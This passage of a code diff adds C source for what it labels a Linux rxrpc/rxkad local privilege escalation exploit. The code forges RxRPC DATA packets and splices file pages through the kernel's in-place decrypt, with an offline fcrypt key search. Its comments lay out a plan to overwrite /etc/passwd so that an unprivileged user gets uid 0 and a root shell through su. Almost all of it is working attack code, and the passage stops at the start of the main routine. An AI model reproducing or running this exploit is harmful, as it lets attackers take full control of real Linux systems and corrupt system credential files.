+ int fl = fcntl(cli_fd, F_GETFL);
+ fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
+
+ ssize_t n = sendmsg(cli_fd, &msg, 0);
+ fcntl(cli_fd, F_SETFL, fl);
+ if (n < 0) {
+ if (errno == EAGAIN || errno == EWOULDBLOCK) {
+ LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
+ "retrying handshake)");
+ return 0;
+ }
+ WARN("client sendmsg: %s", strerror(errno));
+ return -1;
+ }
+ LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
+ n, srv_port);
+ return 0;
+}
+
+/* =================================================================== */
+/* fake-server (plain UDP) */
+/* =================================================================== */
+
+static int setup_udp_server(uint16_t port)
+{
+ int s = socket(AF_INET, SOCK_DGRAM, 0);
+ if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; }
+ struct sockaddr_in sa = {0};
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons(port);
+ sa.sin_addr.s_addr = htonl(0x7F000001);
+ if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
+ WARN("udp server bind :%u: %s", port, strerror(errno));
+ close(s); return -1;
+ }
+ LOG("plain UDP fake-server bound :%u", port);
+ return s;
+}
+
+/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */
+static ssize_t udp_recv_to(int s, void *buf, size_t cap,
+ struct sockaddr_in *from, int timeout_ms)
+{
+ struct pollfd pfd = { .fd = s, .events = POLLIN };
+ int rc = poll(&pfd, 1, timeout_ms);
+ if (rc <= 0) return -1;
+ socklen_t fl = from ? sizeof(*from) : 0;
+ return recvfrom(s, buf, cap, 0,
+ (struct sockaddr *)from, from ? &fl : NULL);
+}
+
+/* =================================================================== */
+/* main PoC */
+/* =================================================================== */
+
+static int trigger_seq = 0;
+
+static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len)
+{
+ char keyname[32];
+ snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
+
+ long key = add_rxrpc_key(keyname);
+ if (key < 0) {
+ if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno));
+ return -1;
+ }
+
+ /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */
+ uint16_t port_S = 7777 + (trigger_seq * 2 % 200);
+ uint16_t port_C = port_S + 1;
+ uint16_t svc_id = 1234;
+
+ int udp_srv = setup_udp_server(port_S);
+ if (udp_srv < 0) {
+ if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S);
+ syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1;
+ }
+
+ int rxsk_cli = setup_rxrpc_client(port_C, keyname);
+ if (rxsk_cli < 0) {
+ if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname);
+ close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+
+ if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) {
+ if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed");
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+
+ uint8_t pkt[2048];
+ struct sockaddr_in cli_addr;
+ ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
+ if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) {
+ if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno));
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+ struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt;
+ uint32_t epoch = ntohl(whdr_in->epoch);
+ uint32_t cid = ntohl(whdr_in->cid);
+ uint32_t callN = ntohl(whdr_in->callNumber);
+ uint16_t svc_in = ntohs(whdr_in->serviceId);
+ uint16_t cli_port = ntohs(cli_addr.sin_port);
+
+ /* Send CHALLENGE */
+ {
+ struct {
+ struct rxrpc_wire_header hdr;
+ struct rxkad_challenge ch;
+ } __attribute__((packed)) c = {0};
+ c.hdr.epoch = htonl(epoch);
+ c.hdr.cid = htonl(cid);
+ c.hdr.callNumber = 0; c.hdr.seq = 0;
+ c.hdr.serial = htonl(0x10000);
+ c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE;
+ c.hdr.securityIndex = 2;
+ c.hdr.serviceId = htons(svc_in);
+ c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
+ c.ch.min_level = htonl(1);
+ struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port),
+ .sin_addr.s_addr=htonl(0x7F000001) };
+ if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) {
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+ }
+
+ /* Drain RESPONSE (best-effort) */
+ for (int i = 0; i < 4; i++) {
+ struct sockaddr_in src;
+ if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
+ }
+
+ /* csum + cksum with CURRENT SESSION_KEY */
+ uint8_t csum_iv[8] = {0};
+ if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) {
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+ uint16_t cksum_h = 0;
+ if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) {
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+
+ /* Build malicious DATA header */
+ struct rxrpc_wire_header mal = {0};
+ mal.epoch = htonl(epoch);
+ mal.cid = htonl(cid);
+ mal.callNumber = htonl(callN);
+ mal.seq = htonl(1);
+ mal.serial = htonl(0x42000);
+ mal.type = RXRPC_PACKET_TYPE_DATA;
+ mal.flags = RXRPC_LAST_PACKET;
+ mal.securityIndex = 2;
+ mal.cksum = htons(cksum_h);
+ mal.serviceId = htons(svc_in);
+
+ /* connect udp_srv → client port for splice */
+ struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port),
+ .sin_addr.s_addr=htonl(0x7F000001) };
+ if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) {
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+
+ /* pipe + vmsplice header + splice file → pipe → udp_srv */
+ int p[2];
+ if (pipe(p) < 0) {
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
+ }
+ {
+ struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
+ if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail;
+ }
+ {
+ loff_t off = splice_off;
+ if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
+ goto trig_fail;
+ }
+ if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) {
+ goto trig_fail;
+ }
+ close(p[0]); close(p[1]);
+
+ /* recvmsg the malicious DATA into the kernel's verify_packet path */
+ int fl = fcntl(rxsk_cli, F_GETFL);
+ fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK);
+ for (int round = 0; round < 5; round++) {
+ char rb[2048];
+ struct sockaddr_rxrpc srx;
+ char ccb[256];
+ struct msghdr m = {0};
+ struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
+ m.msg_name = &srx; m.msg_namelen = sizeof(srx);
+ m.msg_iov = &iv; m.msg_iovlen = 1;
+ m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
+ ssize_t r = recvmsg(rxsk_cli, &m, 0);
+ if (r > 0) break;
+ if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
+ else break;
+ }
+ fcntl(rxsk_cli, F_SETFL, fl);
+
+ close(rxsk_cli);
+ close(udp_srv);
+ syscall(SYS_keyctl, 3, key);
+ return 0;
+
+trig_fail:
+ close(p[0]); close(p[1]);
+ close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key);
+ return -1;
+}
+
+/* ===================================================================
+ * USER-SPACE pcbc(fcrypt) BRUTE-FORCE
+ *
+ * The kernel's rxkad_verify_packet_1() does an in-place 8-byte
+ * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice
+ * offset. pcbc with single 8-B block and IV=0 reduces to a plain
+ * fcrypt_decrypt(C, K). We can therefore search for the right K
+ * entirely in user-space — without touching the kernel/VM at all —
+ * before applying ONE deterministic kernel trigger.
+ *
+ * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH).
+ * Verified against kernel test vectors:
+ * K=0, decrypt(0E0900C73EF7ED41) = 00000000
+ * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0
+ * =================================================================== */
+
+static const uint8_t fc_sbox0_raw[256] = {
+ 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06,
+ 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3,
+ 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53,
+ 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd,
+ 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15,
+ 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24,
+ 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51,
+ 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44,
+ 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7,
+ 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0,
+ 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6,
+ 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1,
+ 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5,
+ 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64,
+ 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03,
+ 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e,
+};
+static const uint8_t fc_sbox1_raw[256] = {
+ 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85,
+ 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39,
+ 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99,
+ 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6,
+ 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa,
+ 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc,
+ 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d,
+ 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17,
+ 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a,
+ 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5,
+ 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52,
+ 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30,
+ 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96,
+ 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7,
+ 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78,
+ 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80,
+};
+static const uint8_t fc_sbox2_raw[256] = {
+ 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d,
+ 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24,
+ 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce,
+ 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68,
+ 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0,
+ 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d,
+ 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34,
+ 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc,
+ 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40,
+ 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15,
+ 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99,
+ 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a,
+ 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f,
+ 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa,
+ 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59,
+ 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86,
+};
+static const uint8_t fc_sbox3_raw[256] = {
+ 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12,
+ 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b,
+ 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82,
+ 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16,
+ 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4,
+ 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2,
+ 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65,
+ 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4,
+ 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f,
+ 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85,
+ 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05,
+ 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0,
+ 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f,
+ 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3,
+ 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f,
+ 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25,
+};
+
+static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
+
+#include <endian.h>
+
+static void fcrypt_init_sboxes(void)
+{
+ for (int i = 0; i < 256; i++) {
+ fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3);
+ fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) |
+ ((uint32_t)fc_sbox1_raw[i] >> 5));
+ fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11);
+ fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19);
+ }
+}
+
+#define fc_ror56_64(k, n) \
+ (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
+
+typedef struct { uint32_t sched[16]; } fcrypt_uctx;
+
+static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8])
+{
+ uint64_t k = 0;
+ k = (uint64_t)(key[0] >> 1);
+ k <<= 7; k |= (uint64_t)(key[1] >> 1);
+ k <<= 7; k |= (uint64_t)(key[2] >> 1);
+ k <<= 7; k |= (uint64_t)(key[3] >> 1);
+ k <<= 7; k |= (uint64_t)(key[4] >> 1);
+ k <<= 7; k |= (uint64_t)(key[5] >> 1);
+ k <<= 7; k |= (uint64_t)(key[6] >> 1);
+ k <<= 7; k |= (uint64_t)(key[7] >> 1);
+
+ ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
+ ctx->sched[0xf] = htobe32((uint32_t)k);
+}
+
+#define FC_F(R_, L_, sched_) do { \
+ union { uint32_t l; uint8_t c[4]; } u; \
+ u.l = (sched_) ^ (R_); \
+ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \
+ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \
+} while (0)
+
+static void fcrypt_user_decrypt(const fcrypt_uctx *ctx,
+ uint8_t out[8], const uint8_t in[8])
+{
+ uint32_t L, R;
+ memcpy(&L, in, 4);
+ memcpy(&R, in + 4, 4);
+ FC_F(L, R, ctx->sched[0xf]);
+ FC_F(R, L, ctx->sched[0xe]);
+ FC_F(L, R, ctx->sched[0xd]);
+ FC_F(R, L, ctx->sched[0xc]);
+ FC_F(L, R, ctx->sched[0xb]);
+ FC_F(R, L, ctx->sched[0xa]);
+ FC_F(L, R, ctx->sched[0x9]);
+ FC_F(R, L, ctx->sched[0x8]);
+ FC_F(L, R, ctx->sched[0x7]);
+ FC_F(R, L, ctx->sched[0x6]);
+ FC_F(L, R, ctx->sched[0x5]);
+ FC_F(R, L, ctx->sched[0x4]);
+ FC_F(L, R, ctx->sched[0x3]);
+ FC_F(R, L, ctx->sched[0x2]);
+ FC_F(L, R, ctx->sched[0x1]);
+ FC_F(R, L, ctx->sched[0x0]);
+ memcpy(out, &L, 4);
+ memcpy(out + 4, &R, 4);
+}
+
+/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
+ * shell field that equals "/bin/bash" (in /etc/shells, valid path).
+ * The two splices interlock as:
+ *
+ * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then
+ * 4 random gecos-prefix bytes.
+ * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line
+ * pos 16, preserves ':' at pos 21 and '/' at pos 22.
+ *
+ * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash"
+ * pos 0 8 21 32
+ *
+ * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash".
+ * Now `su -s /bin/bash test` proceeds through the restricted_shell()
+ * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash
+ * under uid=0.
+ *
+ * === 3-splice predicates ===
+ *
+ * After applying splices A, B, C in order to /etc/passwd line 1
+ * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state
+ * of chars 4..15 is determined by these P bytes:
+ *
+ * char 4 = P_A[0] want: ':'
+ * char 5 = P_A[1] want: ':'
+ * char 6 = P_B[0] want: '0' (overwrites P_A[2])
+ * char 7 = P_B[1] want: ':' (overwrites P_A[3])
+ * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2])
+ * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3])
+ * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n'
+ * char 15 = P_C[7] want: ':'
+ *
+ * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they
+ * are overwritten before /etc/passwd is read by anyone — we only care
+ * about the final state. */
+static inline int fc_check_pa_nullok(const uint8_t P[8])
+{
+ return P[0] == ':' && P[1] == ':';
+}
+
+static inline int fc_check_pb_nullok(const uint8_t P[8])
+{
+ return P[0] == '0' && P[1] == ':';
+}
+
+static inline int fc_check_pc_nullok(const uint8_t P[8])
+{
+ if (P[0] != '0') return 0;
+ if (P[1] != ':') return 0;
+ if (P[7] != ':') return 0;
+ for (int i = 2; i < 7; i++) {
+ if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0;
+ }
+ return 1;
+}
+
+static uint64_t fc_splitmix64(uint64_t *s)
+{
+ uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
+ z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
+ z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
+ return z ^ (z >> 31);
+}
+
+/* Generic brute-force. `predicate` decides if a P is acceptable. */
+typedef int (*pcheck_fn)(const uint8_t P[8]);
+
+static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
+ pcheck_fn check,
+ uint8_t K_out[8], uint8_t P_out[8],
+ uint64_t seed_init,
+ const char *label)
+{
+ fcrypt_uctx ctx;
+ uint8_t K[8], P[8];
+ uint64_t seed = seed_init;
+ struct timespec ts0, ts1;
+ clock_gettime(CLOCK_MONOTONIC, &ts0);
+
+ for (uint64_t iter = 0; iter < max_iters; iter++) {
+ uint64_t r = fc_splitmix64(&seed);
+ memcpy(K, &r, 8);
+ fcrypt_user_setkey(&ctx, K);
+ fcrypt_user_decrypt(&ctx, P, C);
+
+ if (check(P)) {
+ memcpy(K_out, K, 8);
+ memcpy(P_out, P, 8);
+ clock_gettime(CLOCK_MONOTONIC, &ts1);
+ double dt = (ts1.tv_sec - ts0.tv_sec) +
+ (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
+ LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
+ label,
+ (unsigned long)iter, dt, iter / dt / 1e6,
+ K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7],
+ P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7],
+ (P[0]>=32&&P[0]<127)?P[0]:'.',
+ (P[1]>=32&&P[1]<127)?P[1]:'.',
+ (P[2]>=32&&P[2]<127)?P[2]:'.',
+ (P[3]>=32&&P[3]<127)?P[3]:'.',
+ (P[4]>=32&&P[4]<127)?P[4]:'.',
+ (P[5]>=32&&P[5]<127)?P[5]:'.',
+ (P[6]>=32&&P[6]<127)?P[6]:'.',
+ (P[7]>=32&&P[7]<127)?P[7]:'.');
+ return 0;
+ }
+
+ if ((iter & 0x3ffffff) == 0 && iter > 0) {
+ clock_gettime(CLOCK_MONOTONIC, &ts1);
+ double dt = (ts1.tv_sec - ts0.tv_sec) +
+ (ts1.tv_nsec - ts0.tv_nsec) / 1e9;
+ fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n",
+ label, dt, (unsigned long)iter, iter / dt / 1e6);
+ }
+ }
+ return -1;
+}
+
+
+int rxrpc_lpe_main(int argc, char **argv)
+{
+ fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
